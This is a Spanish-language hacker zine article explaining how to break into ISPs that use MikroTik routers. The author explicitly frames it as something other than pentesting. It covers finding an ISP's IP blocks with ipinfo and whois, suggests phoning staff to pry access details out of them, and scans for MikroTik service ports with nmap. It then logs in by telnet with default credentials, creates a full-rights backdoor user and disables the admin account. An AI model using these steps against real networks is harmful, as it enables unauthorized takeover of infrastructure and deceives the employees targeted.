_________________________________________________________________________________ /* ATDT MAGAZINE ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[0x01-04]: NUMERO 0x01:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: "Auditando ISPs basados en MikroTik" por [Hellaiser]" */ No. No es pentesting per-se. No siempre el mono baila por la plata. ¿Esta mal el bugbounty? Personalmente creo que no. Pero el mundo esta dominado por los sombreros blancos y los ethical hackers. Dejemos eso de lado, aunque sea durante este poco pretensioso articulo. Si estas leyendo este zine, probablemente lo hayas bajado o te lo hayan pasado por alguna red social, servicio de mensajería digital o mediante DCC por IRC y por ende (y descarte), atraves de Internet. Que es un ISP? (aclaro por si las dudas, nunca esta de mas) ISP son las siglas de "Internet Service Provider" o "Proveedor de Servicios de Internet" y son esas empresas (pequeñas/medianas, grandes o multinacionales) que nos venden la conexion hacia la "red de redes". MMMM MMMM KKK TTTTTTTTTTT KKK MMM MMMM MMM III KKK KKK RRRRRR OOOOOO TTT III KKK KKK MMM MM MMM III KKKKK RRR RRR OOO OOO TTT III KKKKK MMM MMM III KKK KKK RRRRRR OOO OOO TTT III KKK KKK MMM MMM III KKK KKK RRR RRR OOOOOO TTT III KKK KKK Que es MikroTik? es un fabricante importante de hardware para networking que va desde simple routers SOHO hogareños hasta CCR (cloud core routers) muy usados en el negocio de los ISPs hoy por hoy por una relacion de equilibrio entre costo y fiabilidad. Bien, aca comienza el articulo que no pretende mas que ser una charla de barcito (San Jose 05 XD) sobre ver cuan seguro es un ISP del borde hacia el exterior (basicamente, desde sus routers principales con conexion a internet con algun carrier) ergo , nosotros. _______________ _______________ | ___________ | | ___________ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |___________| | | |___________| | |_______________| |_______________| _|________|_.................._|________|_ / ********** \ / ********** \ / ************ \ / ************ \ -------------------- -------------------- =====> MANOS A LA OBRA! Asumo que desconocemos los bloques de IP asignados al ISP al cual queremos testear su nivel de seguridad pero tambien asumo que conocemos al menos el nombre o razon social del mismo como para comenzar a rastrear sus bloques de direcciones (en este caso nos enfocaremos en IPv4) asignadas. =[AVERIGUANDO BLOQUES IP]= Por supuesto, utilizaremos un ISP ficticio (de ahora en mas lo llamaremos Pepe NET) por razones mas que obvias. Abriremos nuestro navegador de preferencia y accederemos al dominio , donde veremos un listado de todos los poseedores de segmentos publicos IPv4 en Argentina. NOTA: Podemos sustituir "ar" por las siglas del pais que necesitemos listar, por ejemplo si es para España, seria /es. [LYNX o.O] *************************************************************************** * Argentina ASN Summary * * * * The report below shows ASNs assigned to Argentina, ranked by the total * * number of IP addresses currently active on each network. Click on the * * ASN for full IP address information, whois details and more. * * You can also view our hosting report to see the networks ranked by how * * many domain names they host. * * * * ASN Name Num IPs * * AS73012 Pepe NET 69,632 * * AS22927 Telefonica de Argentina 3,995,392 * * AS10318 Telecom Argentina S.A. 2,124,288 * * AS10481 Telecom Argentina S.A. 1,549,824 * * AS19037 AMX Argentina S.A. 1,136,640 * * AS11664 Techtel LMDS Comunicaciones Interactivas S.A. 871,424 * * AS27747 Telecentro S.A. 633,344 * * AS10834 Telefonica de Argentina 386,816 * * AS11315 Telefónica Móviles Argentina S.A. (Movistar Argentina) * * AS16814 NSS S.A. 161,280 * * AS27983 Red Intercable Digital S.A. 116,480 * * AS20207 Gigared S.A. 108,800 * * AS26608 Telecom Argentina S.A. 90,112 * * AS27984 Ver Tv S.A. 76,800 * * AS28075 ARLINK S.A. 69,632 * * AS3597 Fundación InnovaT 65,792 * * AS4270 Red de Interconexion Universitaria 65,536 * * * *************************************************************************** [https://ipinfo.io/countries/ar] Bien, puse apenas algunos de los resultados del query de dicho listado. Veremos varios conocidos en la lista pero nos enfocaremos en el ISP que estabamos buscando (Pepe NET) ************************************* * ASN Name Num IPs * * AS73012 Pepe NET 69,632 * ************************************* El resultado esta dividido en tres partes: 1) Nro. de ASN 2) Nombre/razon social del ISP 3) Cantidad de IPs /32 asignadas Para llegar al contenido de el punto tres (Cantidad de IPs), por ende finalmente conocer en detalle que bloques IPv4 tiene asignados Pepe NET tendremos que ingresar a su ASN (los items de la columna "ASN" son links hacia la pagina del mismo (en este caso AS73012 que es el de Pepe NET): $ lynx [https://ipinfo.io/AS73012] [LYNX O.o] *************************************************************************** * Netblock Description Num IPs * * 132.75.0.0/24 PEPE NET 256 * * 132.75.1.0/24 PEPE NET 256 * * 132.75.2.0/24 PEPE NET 256 * * 132.75.3.0/24 PEPE NET 256 * * 168.191.204.0/24 PEPE NET 256 * * 168.191.205.0/24 PEPE NET 256 * * 168.191.206.0/24 PEPE NET 256 * * 168.191.207.0/24 PEPE NET 256 * * 168.95.10.0/24 PEPE NET 256 * * 168.95.11.0/24 PEPE NET 256 * * 168.95.8.0/24 PEPE NET 256 * * 168.95.9.0/24 PEPE NET 256 * *************************************************************************** [https://ipinfo.io/AS73012] Listo, dimos en el clavo: la lista de bloques IPv4 asignados a Pepe NET. Aca el resultado tambien se divide en tres partes: 1) Netblock 2) Description 3) Num IPs Su lectura es mas que sencilla. La primera parte (Netblock) es el dato que mas nos interesa (la red y mascara de la misma, lo cual usaremos para auditar); la segunda es "Description" que basicamente es el nombre del ISP en cuestion y por ultimo, la cantidad de IPs que contiene el netblock (en este caso al ser una mascara /24, contiene 256 IPs de las cuales solo 254 son "usables"). Veremos que PEPE NET tiene 12 segmentos /24 (3072 IPs), por lo tanto tenemos para entretenernos un rato. Ahora iremos al siguiente paso: recavar mayor informacion del ISP. =[RECAVANDO MAYOR INFO DEL ISP]= Como la informacion es poder, el poder es fuerza y la fuerza abre casi cualquier puerta, vamos a conseguir mayor informacion del ISP haciendo uso de la herramienta 'whois' (man whois): $ whois AS28075 Al ejecutar 'whois ' este nos traera la informacion de registro que el ISP brindo para adquirir los bloques de IP frente a LACNIC: [WHOIS o.O] *************************************************************************** * aut-num: AS28075 * * owner: PEPE NET * * ownerid: AR-ARSA1148-LACNIC * * responsible: Pepe Gonzalez * * address: Av. Presidente Menem, 3150, * * address: 5500 - Mendoza - * * country: AR * * phone: +54 261 3583123 [6072] * * owner-c: SGR * * routing-c: SGR * * abuse-c: SGR * * created: 20090804 * * changed: 20150527 * * inetnum: 168.90.8.0/22 * * inetnum: 143.202.192.0/22 * * inetnum: 131.72.0.0/22 * * inetnum: 181.118.64.0/18 * * inetnum: 201.190.128.0/17 * * inetnum: 190.113.160.0/19 * * inetnum: 190.113.128.0/19 * * * * nic-hdl: SGR * * person: Pepe Roberto Gonzalez * * e-mail: pepe.gonzalez@pepenet.com.ar * * address: Av. Presidente Menem, 3150, , - * * address: 5500 - Mendoza - * * country: AR * * phone: +54 3583123 [0000] * * created: 20090518 * * changed: 20200707 * *************************************************************************** [whois AS28075] Bueno, aca -amen de los bloques IP- notaras que la data que predomina es la fisica del mundo terrenal: Direccion fiscal, titular de Pepe NET, mail y hasta numero de telefono de contacto. Esta es otra herramienta para recavar data en cuanto a materia acceso sobre Pepe ISP no menos importante que sus bloques IP: esta es data de contacto para hacer gala de nuestras dotes de ingenieria social. Con esta data podremos por ejemplo, comunicarnos telefonicamente para ver si hay algun empleado lengua floja que nos pueda brindar mas data de acceso a sus sistemas. Pero eso te lo dejo a tu merced jajaja. =[COMENZANDO]= Ahora si, con la data ya recavada, procedemos a indagar en sus bloques IP. Comenzamos a scannear los puertos de los bloques IP de Pepe NET # nmap -v -T4 -p 8291,8728,22,23,53,21,80 132.75.0.0/24 | grep open Basicamente, buscamos filtrar IPs dentro del bloque 168.95.10.0/24 con los siguientes puertos ABIERTOS (si cambiamos "open" por "filtered" en el grep, nos dará los hosts que tienen los puertos "abiertos" pero filtrados por alguna regla de firewall): * telnet 23 * ftp 21 * www 80 * ssh 22 * api 8728 * winbox 8291 * dns 53 Los dos ultimos puertos (8728 y 8291) son servicios propietarios de MikroTik. El 8291 (Winbox) es el puerto mediante el cual se comunica la aplicacion "Winbox" que basicamente es un GUI grafico para la configuracion de los RB en cuestion. El 8728 es el port del API (Application Programmers Interface) de MikroTik que permite a los programadores desarrollar aplicaciones que se comuniquen con el RB. [NMAP o.O] *************************************************************************** * Discovered open port 21/tcp on 132.75.0.10 * * Discovered open port 23/tcp on 132.75.0.10 * * Discovered open port 22/tcp on 132.75.0.10 * * Discovered open port 53/tcp on 132.75.0.10 * * Discovered open port 80/tcp on 132.75.0.10 * * Discovered open port 8728/tcp on 132.75.0.10 * * Discovered open port 8291/tcp on 132.75.0.10 * *************************************************************************** [# nmap -v -T4 -p 8291,8728,22,23,53,21,80 132.75.0.0/24 | grep open] Claramente, esto es un fragmento apenas (y simbolico) de un scanneo de una red /24 completa donde encontramos un ejemplo BINGO (jaja) de host MK con todos los ports que nos interesan abiertos: FTP, TELNET, SSH, DNS, WEB, API y WINBOX. Lo primero (y unico) que vamos a probar vos y yo es si, por ejemplo, tiene el user y pass de fabrica (aunque no parezca, es un error MUY comun por parte de los network admin mal pagos o guitarreros). Probemos por telnet: El user y pass de fabrica son: * Username: admin * Password: [TELNET o.O] ***************************************************************************** * Trying 192.168.70.209... * * Connected to 192.168.70.209. * * Escape character is '^]'. * * Login: admin * * Password: * * * * MMM MMM KKK TTTTTTTTTTT KKK * * MMMM MMMM KKK TTTTTTTTTTT KKK * * MMM MMMM MMM III KKK KKK RRRRRR OOOOOO TTT III KKK KKK * * MMM MM MMM III KKKKK RRR RRR OOO OOO TTT III KKKKK * * MMM MMM III KKK KKK RRRRRR OOO OOO TTT III KKK KKK * * MMM MMM III KKK KKK RRR RRR OOOOOO TTT III KKK KKK * * * * MikroTik RouterOS 6.46.8 (c) 1999-2020 http://www.mikrotik.com/ * * * * * * [admin@MikroTik] > * ***************************************************************************** [$ telnet 132.75.0.10] Evidentemente, el fallo capa 8 estuvo presente en este pobre MikroTik. Por ultimo (y para comenzar, ya que a partir de aca las posibilidades son casi infinitas si sabemos usar el scripting, /user/script en el MK) vamos a ownear el equipo: [TELNET o.O] ***************************************************************************** * [admin@MikroTik] > /user pr * * Flags: X - disabled * * # NAME GROUP ADDRESS LAST-LOGGED-IN * * 0 ;;; system default user * * admin full jan/14/2021 15:36:04 * * * * > /user add name=0wned password=0wned group=full comment="0wned!" * * * * > /user pr * * # NAME GROUP ADDRESS LAST-LOGGED-IN * * 0 ;;; system default user * * admin full jan/14/2021 15:36:04 * * 1 ;;; 0wned! * * 0wned full * * * * > /user set 0 disabled=yes * * > /user pr * * # NAME GROUP ADDRESS LAST-LOGGED-IN * * 0 X ;;; system default user * * admin full jan/14/2021 15:36:04 * * 1 ;;; 0wned! * * 0wned full * ***************************************************************************** [$ telnet 132.75.0.10] _____ _ _ | _ | | | | | |/' |_ ___ __ ___ __| | | | /| \ \ /\ / / '_ \ / _ \/ _` | | \ |_/ /\ V V /| | | | __/ (_| |_| \___/ \_/\_/ |_| |_|\___|\__,_(_) Listo, el equipo ya es tuyo de momento. Basicamente lo que hicimos fue logearnos como admin, agregar el user "0wned" con pass "0wned" dentro del grupo "full" (que nos permite leer/escribir, tal cual el admin) y luego deshabilitar el user "admin" para que no ingrese nadie en el mientras (ya que el user "admin" no se puede cambiar). A partir de este momento, mediante scripting en MikroTik podemos hacer basicamente lo que querramos con este equipo. [START HERE: https://wiki.mikrotik.com/wiki/Manual:Scripting] Este articulo pretende, por ultimo, prenderte la lucecita para que aflojes la vagancia y este sea tu punto de partida. El resto de los servicios esta para que los investigues vos por tu cuenta ;) Espero te haya sido util y cumpla la funcion de ser una guia de como ponerse un metodo para estos objetivos y no un HOW-TO paso a paso que te entregue en bandeja un resultado. nos l33mos pront0! ################## ## [Hellraiser] ## ################## # shutdown -p now _________________________________________________________________________________ !EOF -> atdt-zine-0x01-04.txt